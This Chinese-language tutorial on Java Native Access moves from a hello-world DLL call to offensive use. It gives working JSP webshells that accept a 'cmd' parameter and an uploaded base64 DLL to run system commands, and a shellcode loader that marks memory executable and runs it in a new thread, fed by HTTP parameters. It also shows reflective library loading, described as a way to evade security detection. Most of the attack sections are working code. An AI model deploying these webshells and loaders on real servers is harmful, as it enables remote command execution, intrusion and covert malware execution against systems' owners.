JNA 调用动态链接库
字数 1286 2025-08-11 00:55:07
JNA调用动态链接库技术详解
一、JNA基础概念
JNA(Java Native Access)是建立在JNI(Java Native Interface)技术之上的Java开源框架,提供了一组Java工具类用于在运行期间动态访问系统本地库。简单理解就是:JNA提供了一个"桥梁",可以利用Java代码直接访问动态链接库中的函数。
二、JNA调用DLL的基本步骤
- 创建工程:将dll文件放到工程下
- 引入JNA相关的jar包
- 创建继承自Library类的接口
- 接口中创建对象用于加载DLL/SO的类库
- 接口中声明DLL/SO类库头文件中暴露的方法
- 调用该方法
三、DLL编译方法(Windows示例)
1. 使用Visual Studio创建动态链接库工程
创建头文件testdll.h:
#pragma once
#include <iostream>
extern "C" __declspec(dllexport) void SayHello();
创建源文件testdll.cpp:
#include "pch.h"
#include "testdll.h"
void SayHello(){
std::cout << "Hello!你成功了!" << std::endl;
}
关键点说明:
extern "C":告诉编译器按C语言方式进行编译__declspec(dllexport):修饰符告诉编译器和链接器需要从DLL导出
2. 编译注意事项
- DLL位数必须与JDK位数相同,否则无法调用
四、Java工程配置
1. Maven依赖
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna</artifactId>
<version>5.13.0</version>
</dependency>
<dependency>
<groupId>net.java.dev.jna</groupId>
<artifactId>jna-platform</artifactId>
<version>5.13.0</version>
</dependency>
2. 普通工程配置
可从GitHub下载jna jar包和platform jar包并导入:
https://github.com/java-native-access/jna
五、JNA调用DLL实现
1. 基本调用方式
public interface Mydll extends Library {
Mydll mydll = (Mydll)Native.load("testdll", Mydll.class);
void SayHello();
}
public static void main(String[] args) {
Mydll.mydll.SayHello();
}
注意事项:
- 调用时不需要链接库的后缀,会自动加上
- 方法声明需与DLL头文件中的声明一致
2. 动态链接库加载方法
常见加载方式有三种:
System.load/System.loadLibraryRuntime.getRuntime().load/Runtime.getRuntime().loadLibrarycom.sun.glass.utils.NativeLibLoader.loadLibrary
区别:
load接收绝对路径loadLibrary接收相对路径
3. 反射调用loadLibrary方法(规避安全检测)
try {
Class clazz = Class.forName("java.lang.ClassLoader");
java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary",
Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, "C:\\path\\to\\testdll.dll", true);
Mydll mydll = (Mydll)Native.load("testdll", Mydll.class);
mydll.SayHello();
} catch (Exception e) {
e.printStackTrace();
}
六、实际应用场景
1. 命令执行实现
DLL代码(command.cpp):
#include "pch.h"
#include "command.h"
#include <cstdlib>
#include <string>
void executeCommand(const char* command) {
char psBuffer[128];
FILE* pPipe;
if ((pPipe = _popen(command, "r")) == NULL) {
exit(1);
}
while (fgets(psBuffer, 128, pPipe)) {
puts(psBuffer);
}
_pclose(pPipe);
}
头文件(command.h):
#pragma once
#include <iostream>
extern "C" __declspec(dllexport) void executeCommand(const char* command);
Java调用:
public interface Mydll extends Library {
void executeCommand(String command);
}
// 调用示例
mydll.executeCommand("ipconfig");
2. JSP WebShell实现
将代码打包为包含依赖的JAR文件,然后通过JSP加载:
JSP脚本:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%
String path = "file:/path/to/maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");
Object instance = MyTest.newInstance();
Method method = MyTest.getMethod("show", String.class, String.class);
Object ada = method.invoke(instance,
"C:\\path\\to\\testdll.dll", "whoami");
%>
优化版(支持DLL Base64上传):
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%!
private String getFileName(){
String fileName = "";
java.util.Random random = new java.util.Random(System.currentTimeMillis());
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
} else {
fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
}
return fileName;
}
public String UploadBase64DLL(String base64) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName());
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(base64));
fos.close();
return file.getAbsolutePath();
}
%>
<%
try{
String cmd = request.getParameter("cmd");
String base64 = request.getParameter("base64");
String file = UploadBase64DLL(base64);
String path = "file:/path/to/jar-with-dependencies.jar";
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");
Object instance = MyTest.newInstance();
Method method = MyTest.getMethod("show", String.class, String.class);
Object ada = method.invoke(instance, file, cmd);
} catch (Exception e){
out.println(e);
}
%>
3. Shellcode加载实现
DLL代码(shellcode.cpp):
#include "shellcode.h"
#include <iostream>
using namespace std;
void shellcode(PCHAR code, DWORD buf_len) {
cout << buf_len << endl;
DWORD oldprotect = 0;
LPVOID base_addr = NULL;
// 申请内存空间
base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 转换并复制shellcode
unsigned char HexNumArray[4096];
int num = HexStr2HexNum(code, buf_len, HexNumArray);
RtlMoveMemory(base_addr, HexNumArray, buf_len);
// 修改为执行权限
VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
cout << "starting spawn shellcode" << endl;
// 创建线程执行shellcode
auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
WaitForSingleObject(ct, -1);
// 释放内存
free(base_addr);
}
// Hex字符串转Hex数字的实现略...
Java调用:
public interface Mydll extends Library {
void shellcode(byte[] b, int length);
}
public static void show(String base64, String dllpath, String dllname) {
try {
// 反射加载DLL
Class clazz = Class.forName("java.lang.ClassLoader");
java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary",
Class.class, String.class, boolean.class);
method.setAccessible(true);
method.invoke(null, clazz, dllpath, true);
// 加载并调用shellcode
Mydll mydll = (Mydll)Native.load(dllname, Mydll.class);
byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64);
int leng = base64decodedBytes.length;
mydll.shellcode(base64decodedBytes, leng);
} catch(Exception e) {
e.printStackTrace();
}
}
JSP实现:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%!
private String getFileName(String dllname){
String fileName = "";
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")){
fileName = "C:\\Windows\\Temp\\" + dllname + ".dll";
} else {
fileName = "/tmp/"+ dllname + ".so";
}
return fileName;
}
public String UploadBase64DLL(String base64, String dllname) throws Exception {
sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
java.io.File file = new java.io.File(getFileName(dllname));
java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
fos.write(b.decodeBuffer(base64));
fos.close();
return file.getAbsolutePath();
}
%>
<%
try{
String shellcode = request.getParameter("shellcode");
String base64dll = request.getParameter("base64dll");
String dllname = request.getParameter("dllname");
String pathdll = UploadBase64DLL(base64dll, dllname);
String path = "file:/path/to/jar-with-dependencies.jar";
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");
Object instance = MyTest.newInstance();
Method method = MyTest.getMethod("show", String.class, String.class, String.class);
Object ada = method.invoke(instance, shellcode, pathdll, dllname);
} catch (Exception e){
out.println(e);
}
%>
七、关键注意事项
- 位数匹配:DLL/SO的位数必须与JVM位数一致(32位或64位)
- 路径问题:使用绝对路径更可靠,相对路径可能因工作目录不同而失败
- 安全限制:某些环境可能限制动态库加载,需要反射等规避技术
- 异常处理:务必添加完善的异常处理,便于排查问题
- 资源释放:使用完毕后应释放相关资源,避免内存泄漏